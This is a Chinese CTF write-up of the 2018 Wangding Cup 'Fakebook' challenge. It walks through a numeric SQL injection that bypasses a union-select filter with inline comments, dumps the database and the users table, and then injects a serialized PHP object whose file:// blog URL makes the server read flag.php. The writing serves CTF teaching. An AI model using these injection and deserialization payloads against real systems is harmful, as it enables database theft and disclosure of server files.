[网鼎杯 2018]Fakebook

embedded/2024/10/17 21:51:48/

点击进入页面,发现有login和join两个页面,我们尝试登录login未果,于是转去join页面,随便填写一些信息

点击jion,发现注册成功,随后便出现了所有我们注册了的页面:

 随便点击一个,比如这里我们点击admin,可以注意到的是,我们这里多了一个参数no,结合前面的登录,我们很快就联想到是不是存在sql注入呢?

 首先,判断是数字型注入还是字符型注入,有一个很简单的方法,使用no=2-1来判断:

如果是数字型注入的话,我们传入的参数就会被当作数字来执行,于是返回结果就是no=1的界面;反之,如果是字符型注入的话,我们传入的参数值就会被当作字符来进行执行,于是返回的结果就是no=2的结果;

 我们可以看到返回值是no=1的结果,于是可以判定这是数字型的注入:

判断有几列:

?no=1 order by 3#        正常回显

?no=1 order by 5#        回显报错

?no=1 order by 4#         正常回显

 于是我们可以判定是4列,接下来就是最基本的union查询了,但是我们union select的时候会报错,尝试过后发现是过滤掉了,但是union/**/select可以,于是构造payload如下:

查询库名:

?no=-1 union/**/select 1,database(),3,4 #

得到库名:fakebook

 查询表名:

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #

 得到表名:users

查询列名:

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users' #

 得到四个列名:no,username,passwd,data

爆列中的具体信息:

?no=-1 union/**/select 1,group_concat(no,"~",username,"~",passwd,"~",data),3,4 from fakebook.users #

 可以注意到的是,data的内容是序列化之后的。

这个时候我们可以用扫描工具扫一下,也可以扫出来robots.txt

访问robots.txt,我们可以发现user.php.apk,下载下来打开发现是php文件:

<?phpclass UserInfo
{//初始化变量public $name = "";public $age = 0;public $blog = "";//构造函数public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url)//如果请求成功返回响应内容{$ch = curl_init();//初始化一个新的curl会话,并返回一个curl句柄$chcurl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//curl执行结果以字符串的形式返回$output = curl_exec($ch);//执行 cURL 会话,发送请求并获取响应。如果请求成功,返回响应内容,若失败则返回 false$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);//关闭会话return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}
/*
正则表达式的含义:
^(((http(s?))\:\/\/)?): 可选的协议部分(http:// 或 https://)。
([0-9a-zA-Z\-]+\.)+: 至少一个由字母、数字或连字符组成的域名片段(例如 example.)。
[a-zA-Z]{2,6}: 顶级域名(例如 .com,长度为2到6个字符)。
(\:[0-9]+)?: 可选的端口号(例如 :8080)。
(\/\S*)?: 可选的路径部分。
*/}

看到了这个代码,结合之前看到的序列化的内容,我们可以联想到:利用blog将我们想要的内容序列化,之后再传入blog当中,我们已经知道文件路径是/var/www/html,我们尝试访问flag.php文件,于是可以写一个php脚本:

<?phpclass UserInfo
{public $name = "admin1";public $age = 1;public $blog = "file:var/www/html/flag.php";}
$a = new UserInfo();
echo serialize($a);

 得到序列化的内容:

O:8:"UserInfo":3:{s:4:"name";s:6:"admin1";s:3:"age";i:1;s:4:"blog";s:30:"file:var/www/html/flag.php";}

之前我们知道,回显位是username,那么data对应应该就是第四个字段,将反序列化字符串尝试以注入的方式写入

构造payload:

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"admin1";s:3:"age";i:1;s:4:"blog";s:30:"file:var/www/html/flag.php";}'  #

 得到页面:

 可以看到的是blog现在已经变成了flag.php,那么也说明现在显示了flag.php文件的内容,我们这时查看源码,可以发现一串base编码的值,

 点击就得到了flag

这道题就写到这里啦,喜欢的话给我点个赞吧!


http://www.ppmy.cn/embedded/128282.html

相关文章

【鸟类识别系统】Python+卷积神经网络算法+人工智能+深度学习+ResNet50算法+计算机课设项目

一、介绍 鸟类识别系统。本系统采用Python作为主要开发语言&#xff0c;通过使用加利福利亚大学开源的200种鸟类图像作为数据集。使用TensorFlow搭建ResNet50卷积神经网络算法模型&#xff0c;然后进行模型的迭代训练&#xff0c;得到一个识别精度较高的模型&#xff0c;然后在…

log file sync 内部执行过程

通常oracle的log file sync执行大致印象是等待cpu、log file parallel write、等待cpu&#xff0c;遇到问题主要考虑lgwr自适应模式参数要关闭、io性能、cpu瓶颈、归档数量和大小等&#xff0c;但是内部执行内容其实很多&#xff0c;尤其是有ADG了以后。 log file sync主要执行…

利用Spring Boot构建高效B2B医疗病历平台

第1章绪论 计算机已经从科研院所&#xff0c;大中型企业&#xff0c;走进了平常百姓家&#xff0c;Internet遍及世界各地&#xff0c;在网上能够用计算机进行文字草拟、修改、打印清样、文件登陆、检索、综合统计、分类、数据库管理等&#xff0c;用科学的方法将无序的信息进行…

R语言生物群落(生态)数据统计分析与绘图实践技术应用

R 语言作的开源、自由、免费等特点使其广泛应用于生物群落数据统计分析。生物群落数据多样而复杂&#xff0c;涉及众多统计分析方法。以生物群落数据分析中的最常用的统计方法回归和混合效应模型、多元统计分析技术及结构方程等数量分析方法为主线&#xff0c;通过多个来自经典…

python从0快速上手(二)IDE选择

在这个代码横飞的世界里&#xff0c;选择一个合适的Python IDE就好比是选择一把顺手的武器。今天&#xff0c;就让我来带你一探究竟&#xff0c;看看市面上有哪些让人眼花缭乱的Python IDE&#xff0c;并一较高下。 1. PyCharm PyCharm&#xff0c;由大名鼎鼎的JetBrains出品…

爬虫案例——网易新闻数据的爬取

案例需求&#xff1a; 1.爬取该新闻网站——&#xff08;网易新闻&#xff09;的数据&#xff0c;包括标题和链接 2.爬取所有数据&#xff08;翻页参数&#xff09; 3.利用jsonpath解析数据 分析&#xff1a; 该网站属于异步加载网站——直接网页中拿不到&#xff0c;需要…

【笔记】Day2.3.2数据校验

此项目中有两种数据校验方式 1.hibernate-validated注解方式 在controller头上开启数据校验模式需要加入Validated 然后就可以 在参数前面加入任意的数据校验里的注解 例如;:NotNull() NotEmpty()等 面对字符串型的数据校验 参数前可以使用NotBlank()等 而面对对象/DTO实体的…

linux下在线安装MySQL-华为云服务器

背景&#xff1a;租了1年的华为云服务器&#xff0c;但是离线安装MySQL遇到各种问题&#xff0c;索性研究一下在线安装MySQL 一、下载并安装MySQL Yum Repository wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm二、安装下载的Yum Reposi…